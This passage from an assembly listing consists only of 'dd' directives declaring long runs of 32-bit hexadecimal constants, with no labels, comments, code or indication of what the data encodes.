		dd 0C9D2E043h, 634FA708h, 0D9FB61Ah, 24ACD8F9h,	64A881B0h
		dd 102F2F70h, 9261C071h, 1D200FFCh, 1A470C59h, 32E14033h
		dd 0DC984067h, 16C0BC00h, 0EEB0FF9Bh, 236A005Dh, 0FD7632B3h
		dd 5B006715h, 0B59659CAh, 19572DBh, 0AC8B47C2h,	0D0E4FA62h
		dd 20C3286h, 0B0A53080h, 726C0011h, 0E87FABC2h,	4402F033h
		dd 0CCF9C6B7h, 5BE04882h, 0F09CECB1h, 2690064h,	0BB0DCFDCh
		dd 2D02FDD2h, 0E62350DEh, 1AC0F714h, 2A12C362h,	18002765h
		dd 0E39AE4B0h, 22F800BFh, 13CC4E87h, 9C00A895h,	9DE9FFDEh
		dd 799F56Ah, 689B3DBBh,	0EA460DCh, 0AD74EEA8h, 3AF0FD00h
		dd 9E29C8EAh, 0AB3774Ch, 6845A301h, 9D1A0184h, 8072A10Ah
		dd 11C25D11h, 240BEC2Ah, 944EBFh, 0AC05C8D0h, 3B3E2138h
		dd 7E84828Fh, 44209D25h, 5BC01454h, 777E48Bh, 6A9B1A69h
		dd 21528089h, 2E0F6DD5h, 0C0E02327h, 0DE961D09h, 6AA80753h
		dd 0A07813BBh, 942ECAEDh, 34E9D100h, 4FAB671Dh,	427E184Dh
		dd 7365A40Bh, 822A3E00h, 700555FDh, 0A2E403D0h,	96CD0885h
		dd 0EC3C0C90h, 6E34D90Ch, 18610B1h, 4B37330Eh, 0D4F57CCAh
		dd 0B001579h, 0B6B2A878h, 2F434ACh, 0E660A581h,	60428Dh
		dd 943CA6E7h, 0FBA003B2h, 98897724h, 0A32ED2h, 0AC6C2B22h
		dd 0C2883E78h, 0BF33D309h, 0EB65075Dh, 0F336AEA3h, 0BC00A7C9h
		dd 6C4E8Ch, 0B5AD2B07h,	857B6B3Ah, 0D647214h, 7F9A1F9Ch
		dd 7D505Ch, 2F5802A8h, 0AAF80Ah, 0D92A844Dh, 0BB8586D8h
		dd 99DBBC00h, 17553096h, 0F0E903Ch, 44E22C6Ch, 1E40E90Fh
		dd 25362372h, 0C8394501h, 0A4EE19BFh, 0A9AB70h,	0CE3486CFh
		dd 0ABC6EC50h, 3979C93Bh, 0E07481A5h, 0CD0D8E8h, 3DCDAC40h
		dd 0E2B81C33h, 0A67CC0B7h, 1067600Fh, 0F812F571h, 5403902Fh
		dd 3D75985Eh, 2A18CA68h, 0E5F45166h, 8E9AE10Bh,	2E0001F3h
		dd 0BAC86E37h, 0CC8312A6h, 4F1800D6h, 93C661BDh, 461C3309h
		dd 71CC203Ah, 3C74B273h, 7F071718h, 86AE6D53h, 0CFF02038h
		dd 0C960A100h, 8CA02C84h, 7573036Ch, 0B681FCD1h, 978B89E0h
		dd 3D5A74C0h, 9AF310E1h, 8093026Ch, 4245A8F4h, 0AECFCC40h
		dd 581C9700h, 192B3AA7h, 0A43D00BCh, 0BAC8DCA1h, 620F8BCBh
		dd 0E04297E6h, 0E19A6341h, 7AE084h, 0C10A29CAh,	307FC64Fh
		dd 809D5F3Eh, 8A7E7995h, 7569FEh, 0CBF79161h, 0D2BAD5BFh
		dd 0A7A0341Fh, 95004CE4h, 2E0E2FC5h, 0E8AD00AAh, 5870316h
		dd 0EC06FB5Fh, 0A9F8F912h, 0F5ED0248h, 0AFA42940h, 0CCC8BC60h
		dd 0A72BFF00h, 1E5A1807h, 5128C082h, 4CBA647h, 2717A00h
		dd 49E3DCE8h, 5809000Ch, 0BEB9D440h, 0F43E53C4h, 6D77005Ch
		dd 3856FF83h, 2110C05Dh, 0CF8E6BB7h, 1899EA0Fh,	4FC0DFF1h
		dd 615FB4A6h, 8FFC3D50h, 9D7A2800h, 5B169449h, 5191700h
		dd 726D5711h, 4D5A1DC4h, 45710h, 0DDDFFDB5h, 749087D2h
		dd 84349301h, 55C6C475h, 30B9560h, 0F85AF353h, 0E090F60Ch
		dd 0FE7E6974h, 4C38E207h, 25E09A0Fh, 89AA5Ch, 0DE52D240h
		dd 0A617DD82h, 0F3DB050Ah, 7B0FC409h, 48150CDAh, 0ECD70002h
		dd 0C60EDC7Dh, 6907B8F7h, 12418968h, 869CA0B1h,	0D4D8F0h
		dd 4FEF8A01h, 0CEE9F785h, 89FAC170h, 0BF491B0Eh, 0FC5CB62Bh
		dd 240BA881h, 4C20224Eh, 4B3905FFh, 8D42AAh, 524A7697h
		dd 0FC004DE4h, 0B9640ABFh, 141F46CBh, 0B78F0B7Ah, 0D0B77300h
		dd 6C803125h, 0A594D800h, 0F2A796FFh, 0BED60CDCh, 0B870871Ah
		dd 4313B07Ah, 0B020B4A2h, 363E93h, 0FDF31332h, 0C13B5545h
		dd 10A1B578h, 0F2DB0023h, 0C30D3AFDh, 0BC8C1909h, 0BB10B803h
		dd 0FA6C31E7h, 0A57EF4CFh, 60904303h, 0D04E51A2h, 9436128Dh
		dd 18190638h, 48C739BDh, 8930A8C0h, 0ED2EAh, 8D8CF55Eh
		dd 0CB363997h, 7A41EC00h, 33FCF2C2h, 0BAD21D53h, 0B899C1A0h
		dd 41099213h, 40F3C02Ch, 55AA5768h, 0B600F5E6h,	0C80F7CDDh
		dd 505A30h, 0A13662FAh,	0CCDB69F3h, 7637F900h, 0F4A20E31h
		dd 399C0030h, 9D70E2F7h, 561E33CDh, 4E4083A9h, 2180F023h
		dd 0E06300B4h, 0D7B937A4h, 9B00DD97h, 0B210C5CAh, 466036h
		dd 0FD35523Eh, 0EEDFD9AFh, 0C0A82100h, 2B1DE437h, 883300BFh
		dd 293A622Ch, 92004344h, 139CB9FDh, 7E5DFFEh, 4186A55Bh
		dd 5FE03081h, 0A401EB9Fh, 245DDCA9h, 0DBCC9E56h, 4C6C00EDh
		dd 0D8F71EA0h, 0AE075EFBh, 0EB50BF89h, 2084A0F9h, 0FB356656h
		dd 959BC8h, 0F87787ADh,	3411249Ch, 1FF32902h, 422630F5h
		dd 0AAAB8EC5h, 171FA898h, 0DE481C00h, 1408E5Ch,	0DDD90BA9h
		dd 0D88D7B66h, 9F003B81h, 0F73421C0h, 0CB551E43h, 29804E18h
		dd 588712FCh, 54CC5Dh, 8D5A20B7h, 6FDF623h, 0F54EF197h
		dd 0AE12A9D4h, 70D7C3DDh, 10BC2930h, 0DEF52294h, 0AAE6C800h
		dd 8202D50Fh, 1479017Ah, 98D85F55h, 18C1086h, 964032Eh
		dd 875D3994h, 7EDE9398h, 5CC26903h, 0ABAC0C02h,	5442A0D6h
		dd 0D98900FBh, 0DD96360Fh, 49C076B4h, 58B3445Dh, 0A1E760F0h
		dd 21DEF131h, 0BAB90E00h, 3E88F57Bh, 0F777Ah, 0A266BE58h
		dd 412F7177h, 60B0CB00h, 0CCF1A1B6h, 2DA614C5h,	74E00442h
		dd 807A967h, 4432B0F4h,	0C2541DC0h, 22980082h, 41A6FF7Bh
		dd 640035A4h, 348EFDD1h, 1FC53D54h, 40BCCF99h, 2818523Bh
		dd 30C0D61Eh, 0EDE97AA7h, 17E81833h, 93D20B1h, 13536070h
		dd 0EC93C420h, 0D307860h, 0B1B29E30h, 26346h, 0A5FC9A14h
		dd 819131F9h, 30674AE8h, 2C0F120h, 98B7A4ADh, 943E1F15h
		dd 257D82B1h, 7881CBC0h, 0F01A47D7h, 7A2C4F96h,	501CBCFFh
		dd 8F523C09h, 0C377A052h, 0C2BF8AAh, 0FD4A781Bh, 0B8540E28h
		dd 5C24709Ch, 3C3E32h, 5E270C9Bh, 1EFFE04h, 2DAA7CEAh
		dd 836879CFh, 57E74199h, 0C1E806F8h, 4919E674h,	353D7306h
		dd 112A0Fh, 89BCEA0Dh, 0B2D9E1D3h, 2309AC66h, 0D6D0121h
		dd 0DA1C4CBDh, 7129F003h, 26A7F107h, 0E04D7DC6h, 3560C0F3h
		dd 0A5F1C5F9h, 7EDEC085h, 4671347Bh, 3331F33Ah,	0E83A21B0h
		dd 720132E9h, 5E47D19h,	72080211h, 23502EE8h, 83860208h
		dd 48C04C27h, 9A383CFDh, 446E801Bh, 63C5BAF0h, 404649B8h
		dd 73E4A200h, 52E31461h, 39BC540Eh, 21A88C53h, 742C0083h
		dd 3EAFA76Eh, 1100B6C2h, 0C1E430EDh, 6034B302h,	9D03C9F2h
		dd 290005A8h, 1A9B7D26h, 3E1027Fh, 0D6B5A0Ah, 40ECFA2Dh
		dd 40BE2B8Dh, 71B5002Eh, 2A29395Ch, 0F302902Dh,	78CF6F9Eh
		dd 0D6D880CCh, 88BC32F8h
		dd 99C098F4h, 0EBCF4075h, 876A0031h, 0C08323DEh, 0FA603563h
		dd 0DF2ED191h, 0C1360668h, 0D83B1A62h, 21FE3430h, 1F9D301Bh
		dd 0C0206CF6h, 83A77444h, 0CE14F5FAh, 22181502h, 0F8AC78F8h
		dd 25D40F0Fh, 75205141h, 2BD52A54h, 0C5BB650Ah,	0DFC8AC9Fh
		dd 43143502h, 0F4AC9B53h, 73F0D740h, 0CD01773Fh, 0E81052D9h
		dd 0D2403144h, 50243799h, 2EF80FFh, 0AEC75CC8h,	8470CD4h
		dd 99600944h, 0BC0092C0h, 2B7336Eh, 4917254Dh, 0C6065801h
		dd 60A6F35Dh, 9520380Fh, 244E932h, 1839FD64h, 0E408E99Eh
		dd 6431F37Eh, 570540AAh, 0E53E87E9h, 0F76721F0h, 19DE6830h
		dd 6094A365h, 7BB6FC4Ch, 9D4C3077h, 24AC02Ch, 424499E9h
		dd 624CC081h, 23DD02h, 3AF4DFCEh, 9BE4B8E2h, 0AB509F14h
		dd 80140994h, 3D0055B6h, 0FD488799h, 840718CFh,	630E1936h
		dd 602C3DA5h, 8ABCEBA0h, 11E9D323h, 126A071Fh, 0A18024BDh
		dd 8E17E5h, 4C027145h, 15CD46E7h, 0BDFD2104h, 35037464h
		dd 43B04036h, 3003CE1Bh, 52AA8151h, 0CCEBCDFh, 0E200A39Eh
		dd 0B4EF321Fh, 80A70CF4h, 28F1A168h, 4306A20h, 793ACF95h
		dd 90A0C035h, 9898F894h, 0F87DA724h, 13806011h,	0EB146674h
		dd 80B1448Ch, 0A9743B0Eh, 8F2AA018h, 331FF7Fh, 0A5983ACBh
		dd 0CEE11504h, 1060A6F5h, 61801311h, 4C99E202h,	4844E4ACh
		dd 2FA0EF3h, 5800EB5Dh,	7AF6E54Dh, 6CA2A18h, 31078C8h
		dd 0A0A6C8B8h, 0E800C360h, 0FDF23E90h, 288CC112h, 54B476E7h
		dd 12DED02Ch, 1A3E3AC3h, 0C049C19Ch, 5C84185Fh,	832B02E9h
		dd 0AD11B4h, 53E97D3Fh,	6C83536h, 0AF65C6CDh, 0F43068A9h
		dd 0ECF559CEh, 4A6200B8h, 0E41AFFEAh, 1D02BAF1h, 0CF9AB722h
		dd 0CEA4C8F4h, 0CAC927Fh, 3D8992C5h, 1099B841h,	6D18A479h
		dd 937B5B00h, 667CB489h, 98B36937h, 247170AFh, 465EA878h
		dd 7564005Fh, 84EE2645h, 8B2026D1h, 438A840h, 9A9B55CBh
		dd 7C6CC2D0h, 1173E730h, 884B144Ah, 0EF848097h,	638D2773h
		dd 7C34FA5Dh, 91CE1400h, 10EE2089h, 2AD87BDCh, 5FCB482h
		dd 0DB2126A6h, 88A08F0Dh, 0D7DDC0A2h, 0DE02E5B1h, 3762BE9Fh
		dd 238C672h, 529689A7h,	80F7E882h, 0D9139897h, 7D930B4Fh
		dd 3811D0CDh, 0FB8088D7h, 0E9886039h, 63467EEAh, 0B00AF22h
		dd 8A4FE961h, 7D0F6F11h, 45350F78h, 34460E85h, 6BB029F7h
		dd 0DB14BC00h, 1C490A3Ch, 0E93F16A0h, 0A6FE0063h, 980E97E0h
		dd 7B204090h, 0F7160ACCh, 0BCC4B67h, 841B99F8h,	60B14FB4h
		dd 5E4EDEE0h, 0E0374D64h, 0AEA864D0h, 0BA8E038Ch, 0A3F71755h
		dd 0FD3B7DE0h, 84421C0h, 7FD7CCh, 364CDD83h, 290B7264h
		dd 4D665500h, 53EA6CE6h, 881C0A38h, 1A8D1CCh, 0DB9672DCh
		dd 0D2D0827Ah, 535030h,	1A255735h, 88EF30A0h, 0F3072C90h
		dd 58193352h, 58C832E6h, 0F0107CB3h, 0BCDFC00Eh, 8CC9D386h
		dd 5E2E44h, 589FBCE6h, 0BF316441h, 7888FE01h, 9E2AB333h
		dd 480E1464h, 0D28AD051h, 4391ACh, 0F3A8ED44h, 489C35BAh
		dd 9801A094h, 0EC71DE0h, 686980BBh, 0D4B68F31h,	0B33C3F81h
		dd 9BAB1500h, 0A66B50A9h, 74D00102h, 0E8146304h, 2CAA1B28h
		dd 5EE43689h, 873B2546h, 43948A80h, 49E410D3h, 10C0A4A2h
		dd 0B5819553h, 8DC107F7h, 1081DC98h, 45FC9631h,	755E3600h
		dd 0EE843303h, 56DEA64h, 0C28C5FABh, 8BCC9447h,	0C75FC8E8h
		dd 0F75D71CBh, 0EC5C70EDh, 3331DB45h, 38C04C01h, 9D8C69C2h
		dd 6F6DC4h, 0BF2AEBD2h,	0E7307901h, 3501609Bh, 0AC99E602h
		dd 0EF883D18h, 0BF02016Eh, 0CE56AB63h, 74388FB1h, 0DC47B35Eh
		dd 4616D9DEh, 78E52E30h, 0F400DC38h, 8845190Dh,	4717729h
		dd 2C9F9C63h, 4AE12A9h,	0D0B29128h, 0B0C0C660h,	7CBE89C2h
		dd 56AA01CEh, 0C0405ADEh, 3BD57BE3h, 5FE83CCCh,	9F445602h
		dd 0E00EA59Ch, 0B43634FDh, 12A0A119h, 868DC58h,	9499EF02h
		dd 0E6404BC4h, 566D02FDh, 5488F600h, 715BD3F0h,	0AF5829BEh
		dd 91F900A0h, 6CC5DC44h, 1A73AB0Eh, 303143FCh, 74D09F60h
		dd 4AE18C8Eh, 364C08CCh, 88BCE5C0h, 22D946D3h, 0C6C0024h
		dd 3AF1C9BDh, 7E00282Ah, 0D21B3E14h, 25F32620h,	0A4B7441Ah
		dd 0B9295C00h, 73801B7Bh, 0B0894E6h, 2C37955Dh,	25066087h
		dd 2FA4809Bh, 6224A857h, 0FD71FA18h, 9465F0A9h,	0E3625FE4h
		dd 0E72AB8C0h, 0EB802899h, 29EEE922h, 3EE300FCh, 42E7F59h
		dd 74EEB1E6h, 46B21807h, 9D04D10h, 181A4A9Fh, 0E8BCDE78h
		dd 9906DD91h, 0BF4593D7h, 16E46F0h, 7EE1E987h, 0A10C312Bh
		dd 1FA04088h, 0C0DBDAE9h, 0EED81E4Fh, 1F00E2F0h, 3D59E09Ch
		dd 2B46FB3h, 18D4A720h,	44436A0h, 4C33A845h, 4722031Eh
		dd 9039181Ah, 17F1D6D4h, 2147AD30h, 60448815h, 0CF9BB807h
		dd 52F03B31h, 0AF480490h, 0EEA1028h, 84BCE9C0h,	0CC9CB9D3h
		dd 70F09058h, 5D6800BCh, 48A06675h, 0DE069C20h,	2131F8E4h
		dd 0D1F43029h, 0B65D581h, 8461D700h, 5E67D636h,	3AD7703h
		dd 18381EE5h, 0E07E35CCh, 9D438D12h, 0F3FD8C02h, 0A6C4C0A1h
		dd 0C8C516FEh, 9BD421CFh, 0BCCE043Bh, 0AEC0AD88h, 9130E3Fh
		dd 0DF667E7Ah, 0A1B520A3h, 0F542B119h, 28723A08h, 79B18300h
		dd 0E9B646C9h, 0DD58470Fh, 0C0E1808Ah, 5C35EBC5h, 0A18018FAh
		dd 25EA7E34h, 0D5612E00h, 27802BDCh, 2764704Dh,	902EA5D0h
		dd 0C9F9C785h, 9759E89Ch, 7F208000h, 9B7333E3h,	0E98F2C85h
		dd 5C98136Dh, 0CCA06730h, 0B3E0BF9Ch, 23CFAD03h, 88316AC3h
		dd 93E5860Bh, 763B78C0h, 0D8E32500h, 1B8A9814h,	80A609B2h
		dd 8469FD94h, 0A703EEC6h, 7230A97Dh, 0ED7E2C24h, 1F9B9980h
		dd 0C62566F2h, 9DA73425h, 81B09114h, 0C4CF682Ch, 61AE2AFCh
		dd 2480791Dh, 0C606810h, 1918A230h, 0E0AC11A0h,	32FA103Bh
		dd 24775C58h, 8430411Ch, 0A77CBDh, 9C871A4Ch, 0DE08B6AAh
		dd 11C9C421h, 2008AD0Bh, 4E94626h, 0DE389F99h, 61C5BB02h
		dd 0EE8B0C59h, 33748273h, 4024D153h, 9E74367Dh,	5EF8790Bh
		dd 70AD008Eh, 5C71FC7Bh, 0EF108867h, 0BCECC00Eh, 8CD1D387h
		dd 8F2244h, 94A2BCD7h, 367A3EFCh, 9B627500h, 0E8781BF0h
		dd 1CCB0FDh, 85FE816Ch,	6C5C3798h, 30140E00h, 0FF7A81B6h
		dd 78F2CF6Fh, 0C9D1220h, 7DD4C2A7h, 1173E230h, 88131447h
		dd 0EAE187A5h, 0B71EA073h, 0F4A0D2AAh, 30A04FBEh, 5982D140h
		dd 719CA104h, 241318AAh, 1BB3E69h, 0D149CB22h, 2C4CC110h
		dd 75683ED8h, 73667209h, 0B34890ADh, 0E49C8449h, 0A44656h
		dd 8DF7BC5Fh, 6B8703Fh,	52801DE0h, 9908D853h, 5B0CBE7h
		dd 0B0422F3Eh, 44B978D0h, 0E2184979h, 0BECCF802h, 72F37BCBh
		dd 0B47F24h, 0E442975h,	146D74E5h, 1716A705h, 3C903A40h
		dd 50F167h, 8DCB10BFh, 4DC5832Dh, 24B0AF00h, 0DD1AC0D8h
		dd 326C006Bh, 26859160h, 38586721h, 0A94B039Bh,	0C83EE8AEh
		dd 0F487D0h, 0AC812BCBh, 0C061573Fh, 0E5E47700h, 0C78F6064h
		dd 894800C4h, 3AFA7F0Ch, 0EA00CF9Dh, 4B1870C2h,	7450A0F9h
		dd 0C3C700BBh, 0AB64B3EFh, 40C0C45Dh, 0E776EEF2h, 6FF8004Bh
		dd 0F135DDFEh, 0D33A0A57h, 743C802Ch, 9DB6C29h,	606B3CECh
		dd 3D94E80Eh, 0E0B192A0h, 32004436h, 0D92B6EEAh, 3E2AF770h
		dd 0A000DD6Ch, 330C1F18h, 8400CD0Dh, 0C95235E8h, 2E7A64h
		dd 0D66C0E02h, 0CE034CB1h, 0C1F62A00h, 0EB1DF966h, 40710075h
		dd 0FB436AA9h, 987B964Fh
		dd 0D7819260h, 0D9F6ECh, 6DD634B8h, 0FF2659Dh, 0EF8F680Eh
		dd 0F028F950h, 0E35F1840h, 0DE8900E2h, 15EEC13Dh, 3814F975h
		dd 0A8C8824h, 0A8AA761Ah, 34F21D80h, 65419Dh, 9830E6F4h
		dd 0C8DAB9A2h, 0FE6158h, 728DADB2h, 4C0C64E8h, 2700077Eh
		dd 0CB5FC75Ah, 3C0071E2h, 8A76F7D5h, 0E10826h, 0EEDF78BFh
		dd 2FFC5A79h, 28C0CEC0h, 100D93h, 0D9DD600Ah, 0EB55EE09h
		dd 5BCF4101h, 6116D744h, 6FF10882h, 0CD603DABh,	0EA00E7FBh
		dd 0F0B9C136h, 7C64D4h,	3FDCB2E3h, 1F22994Bh, 5D16B51Fh
		dd 9CB30E0Fh, 91509718h, 34B0141h, 49B81B35h, 693AC7F1h
		dd 0DF6D1E43h, 0D11111F0h, 0C00D5801h, 6EF36003h, 0C9A35E98h
		dd 0C87A2100h, 48B01101h, 4CDA00E2h, 0E1CED0E5h, 0D70C8A55h
		dd 0B8376387h, 0A241F5Bh, 36B80FEh, 34C157DBh, 0D82E08C6h
		dd 221E0020h, 0FD7D4FFEh, 4030E565h, 48494853h,	0A88C611Fh
		dd 80B1054Ch, 0AEE8C119h, 30BFDEFh, 65DB5BA1h, 2800B47Bh
		dd 841F0C40h, 2038C63h,	45BE56C8h, 0AC400753h, 2B3F4334h
		dd 826E809Dh, 0C2C12226h, 0A552007Fh, 4D37B121h, 7C017E98h
		dd 5F10DC43h, 0DFEC3CA0h, 0EECC3A2Fh, 19B7E780h, 0B4C6CE5Dh
		dd 9420C213h, 0E8938900h, 734EB61h, 90B795F5h, 558440DDh
		dd 9D00878Bh, 0E150417h, 2C67ADA4h, 2F33F2h, 3D4C14A6h
		dd 883B7965h, 0B7810196h, 0A8F2B0E9h, 9455E8h, 0EF37CBD2h
		dd 123C2C4Dh, 0CC92C300h, 1088B5A5h, 0FDC70095h, 4D5B68DEh
		dd 0A1EC1A75h, 15D45Ch,	37F7C283h, 0F8E2A3B3h, 80CFB876h
		dd 3468D3h, 294C04B9h, 0C77D651Dh, 516B560Eh, 581900D9h
		dd 176F9FE8h, 0FA9DA177h, 0C762BE00h, 9870D728h, 372109BFh
		dd 4780B371h, 0CD9BB9BAh, 36004A98h, 0E3DD91F5h, 1E256258h
		dd 8035AB94h, 822DC342h, 0BD004120h, 0B838C928h, 29C2B17h
		dd 7023C4AFh, 0D043338Ch, 90C667AFh, 0E2E7D75Fh, 6CF38h
		dd 4E8AE32Ah, 0E7EA020Eh, 3CCF41EAh, 3346CCh, 9653D49Ah
		dd 76A9DF38h, 63893E58h, 890D1C60h, 54E8E042h, 0B0D5014Dh
		dd 57ED7C26h, 0D174D0A8h, 0FCFB7239h, 1E5FF400h, 8B9BAD8Ch
		dd 0A6A300E9h, 994F25C1h, 8300C861h, 58DED1A5h,	4D1BA2h
		dd 0BE9566BDh, 2BD687E8h, 39FED701h, 0FF191701h, 1B0020h
		dd 26C81ACCh, 36FCF2D3h, 0C0701600h, 0F121583h,	11810F64h
		dd 3C2002C1h, 3F05F32Eh, 56D6C665h, 1EEAA000h, 0C04467C5h
		dd 69FCE811h, 5AE054F8h, 807B373Fh, 0F3706BD8h,	0C009DF0Dh
		dd 0D9365258h, 0EB0041C6h, 739D518Bh, 0F44AE82Dh, 6B1A007Fh
		dd 0B1190E4Dh, 953C9A6Eh, 80408039h, 8603DC4Ch,	0FE64008Eh
		dd 0CDD9AE07h, 0A008882h, 8DA9D4E9h, 0E7F2BEDh,	8EB10C29h
		dd 0DE3A5E40h, 9E001407h, 0D4653B15h, 2BC309h, 876DF075h
		dd 2790B010h, 1171A37Fh, 0B3547801h, 5394F4E2h,	79D587D0h
		dd 0C1200374h, 0C822D231h, 308177A1h, 4E4C5EA0h, 0E84800B0h
		dd 900D829Dh, 9F7E005Ch, 9C13C336h, 7800D9D3h, 54E91F4Bh
		dd 30BB198h, 61A9526Dh,	3BA80E22h, 5A1CBFDBh, 73C0633Ah
		dd 24B56455h, 6F2600B1h, 6654F4A3h, 0C7B0C516h,	0FE0003E8h
		dd 2EE35634h, 92E7CEA4h, 0EEDD0784h, 3C280A9Fh,	0A2008110h
		dd 8F468D71h, 905AF417h, 49040A80h, 87ECC9B9h, 4075C634h
		dd 637B2A6Dh, 864C0300h, 0C8179067h, 0EBC8A0A2h, 0FB8C00D0h
		dd 0E0035736h, 3300AD1Bh, 0CA300CA6h, 4A02F84h,	0FA7EA8EEh
		dd 72290306h, 2C048B2h,	8CE0A907h, 0D983A0A0h, 81F6AE6Fh
		dd 0B807A5B8h, 0F6762FEEh, 1C907050h, 0EC800F5Fh, 0A50089B0h
		dd 9C535012h, 0A9AF1400h, 5B366A1h, 60250090h, 0C30701E2h
		dd 0D80F480Dh, 4010D724h, 4FE939BDh, 0B2E01FFFh, 0EFDCC978h
		dd 541478A0h, 0F77F4204h, 0BBC4000h, 27A7EB76h,	0F1DB0417h
		dd 8024CD7Ah, 9A57CF3Fh, 2A950703h, 0A858705Ch,	0FC17DEFh
		dd 0DCC5D4D6h, 27E52580h, 22008EF7h, 83992D35h,	6060F47Bh
		dd 5EA471BDh, 2100BE80h, 0BC0C5694h, 0E0DB1B25h, 0B5460939h
		dd 9C20316Ch, 0D0BAC247h, 1397C500h, 0A4BFA77Ah, 0EA012A29h
		dd 879506D4h, 119CC069h, 84E41900h, 0BB35DB04h,	0A049C05Bh
		dd 2FDCD37h, 7AA79900h,	0EE662C0h, 0F8964832h, 0DA0B0939h
		dd 6B80D8F7h, 527B4A6Fh, 51D39100h, 723FCC3Dh, 0F8A63D6Ah
		dd 0D1E9F103h, 1100AE8Dh, 0FC845285h, 985EB7B1h, 9B1703ACh
		dd 0AF7C6280h, 0EA8B35C8h, 0FC8A0A24h, 4EF2CB01h, 0AA804DA3h
		dd 890677C6h, 0AD00EBDBh, 0DE0715D2h, 283DD692h, 0E98CF20h
		dd 5031CC17h, 80442680h, 0DF7C1BA0h, 0D30E0D00h, 79B6ED1Ch
		dd 0E7901D83h, 9CBB1F42h, 28811892h, 0C755541Ah, 0E229FCBCh
		dd 0E13C651Ch, 1D594B47h, 5720C0FFh, 3CB40634h,	16301B31h
		dd 58D78460h, 9B80720Ah, 15882891h, 13C87C4h, 0F2A00CE2h
		dd 45D5EB01h, 5EC35B25h, 0C3799C0h, 9E492CE4h, 3C0A4A70h
		dd 30DA1AF4h, 2C68941Ch, 0E7851C03h, 0A08D2979h, 281F834Eh
		dd 109E95h, 5217BF80h, 0F6AE7DAAh, 32777400h, 73A356DAh
		dd 0C8476057h, 0FBC2B6E1h, 0CA2FBA00h, 23B2A210h, 8B310EE2h
		dd 7D6C1D77h, 2200E1F2h, 4CFFB87Fh, 6520F0h, 0D27EBFDh
		dd 1EBC2D86h, 0D188E400h, 0B56C607Dh, 0AFA32A1Ah, 0F28900BCh
		dd 0D134CFB9h, 413AD98Eh, 84B18794h, 0E0E07DA0h, 0A0BFF677h
		dd 5AEF55Ch, 1C622AB7h,	0D53090CAh, 6C7D5013h, 92B85501h
		dd 7C108B2Ch, 18E96E60h, 4101522Dh, 920F055Fh, 2028D055h
		dd 2563BC5Eh, 21A960FCh, 0E4AFBE4Bh, 53001576h,	34F0137Ch
		dd 0C0B4BD95h, 9D8A32B1h, 40002FD6h, 8FF72AE5h,	0C1996903h
		dd 21B8CF94h, 0CD9880DEh, 0ED611BD4h, 9330A0F5h, 75A80F19h
		dd 8E80C17Ch, 0A3B5EF70h, 9E3E3401h, 1833A4B0h,	4774E850h
		dd 0FEFF0060h, 0A96948E8h, 49C0A8F6h, 37E133FBh, 2F360017h
		dd 0B330E78Eh, 57E0C658h, 122C417Bh, 0E43DBCB4h, 18C8B7B9h
		dd 89ED0531h, 0C050712Ah, 7F5E4AF2h, 0F234612h,	0A9DE040h
		dd 426F741h, 20B51672h,	0A275818Ch, 4857D45Ah, 0A3692D00h
		dd 7AA9C622h, 0FB70A0F6h, 8031009Ch, 8E0AFD8Ah,	806A374h
		dd 28FFA787h, 0D71C2AD9h, 0A07EDCh, 0B6181F61h,	0A57E5B9Ah
		dd 7507027Ch, 63782729h, 5DEB1640h, 101300C7h, 2EB64CCDh
		dd 71C39E58h, 78A9B2E5h, 407D60D9h, 18A4DB2Fh, 2A19C663h
		dd 0DFD93E53h, 8917FF18h, 1502C737h, 6979B0DBh,	68E08071h
		dd 7A405FFh, 6EC136C9h,	0C39B13B2h, 1CCA611Bh, 782BC079h
		dd 74C91F5h, 69E756h, 6412D94Ah, 78C82900h, 0CD9ABD5Eh
		dd 1716139Eh, 9B550C0Bh, 0C2006841h, 7A9A3FB9h,	0C08E28CCh
		dd 0DC72B119h, 8C06FF5Fh, 0C3BC8543h, 164700C9h, 70A0F63Ch
		dd 4F016B03h, 57055448h, 0E0D26046h, 0E4056D1h,	0B72BC41Fh
		dd 0A1116146h, 6176A230h, 82B6CEh, 327D373Ch, 6F8B6394h
		dd 29F2A03h, 67F29CAh, 0FC300529h, 830041ABh, 0F7FA127Dh
		dd 3E4E4966h, 0F6993Bh,	0A49E9072h, 0B802E1Ah, 64AACE24h
		dd 0A207C030h, 2372293Ch, 8F9400F8h, 0F285056Dh, 5EFA6E00h
		dd 457EC2D3h, 3DB21827h, 0CC5F29E0h, 0AD97E700h, 0E8E9B7DAh
		dd 0D84E484Fh, 7ACD100h, 0AAB22E4Ch, 753180EFh,	5E6BFE55h
		dd 1EBE2CFh, 12E154CCh,	8F8283CDh, 897949D1h, 0BC881129h
		dd 8300D422h, 0C26DC7FBh, 0C40C4CCCh, 0F99CF679h, 0AFF70A74h
		dd 1887B90h, 0BD0E4E75h
		dd 0F2D7F963h, 0C44E7E2h, 7C41FA00h, 58A53D3Eh,	652F0EEBh
		dd 0D5E07AF7h, 5A3B0F4Fh, 3E758F00h, 1478A59h, 63CF839h
		dd 0BE1C4566h, 0B400499Ch, 0CE75C343h, 74F3FB9Bh, 5008B862h
		dd 24BFB84Ah, 38C7AD2h,	0C0552DF2h, 0EA4A913h, 58911C27h
		dd 0CCD9B15Eh, 0E4309054h, 0B0BE3B9Bh, 0F9DC027Dh, 1DBC7198h
		dd 0AD01A464h, 268B3715h, 0F7603503h, 0D53100D0h, 8F196750h
		dd 2524FF71h, 0B8637CF1h, 0A409C8A8h, 8E78C793h, 0DAF1204Ah
		dd 0D9489838h, 72F60004h, 5059A124h, 861A2633h,	63F26088h
		dd 0A8003730h, 607BAE2Ch, 1CC6802Fh, 667E288Ah,	11660380h
		dd 83913B9Eh, 6E67E05Eh, 0A8B2BB12h, 0B544CC20h, 45E34C92h
		dd 4074B826h, 0F9EDA803h, 6765E805h, 9C01D67Dh,	0A95F2ECAh
		dd 21221908h, 0AE5E0BDEh, 5185ABF4h, 5C8528Dh, 20A2C6CCh
		dd 6B5836F4h, 0F8677103h, 902025E4h, 4CF7D8D2h,	0B215D221h
		dd 5B034CA0h, 89F9948h,	89F15F83h, 0A098DED9h, 0BC096366h
		dd 547B15h, 98C52DA4h, 0F6623A9Bh, 99BE7C8Ch, 72012579h
		dd 8AA98B3Dh, 0DFCC7A3h, 0BD5400CDh, 69446781h,	2C88DC23h
		dd 1F387107h, 0C614B38Fh, 4975BC9Dh, 0D33B4900h, 0C58EDAB4h
		dd 1E83026Ah, 3CB13718h, 30EDA466h, 3465C844h, 9C80FC08h
		dd 30516408h, 0A629C2B7h, 68001543h, 0C60762A1h, 0A3914BDh
		dd 0A898943Eh, 756501B1h, 32612A9Fh, 6A40ED8h, 0EB05901Ah
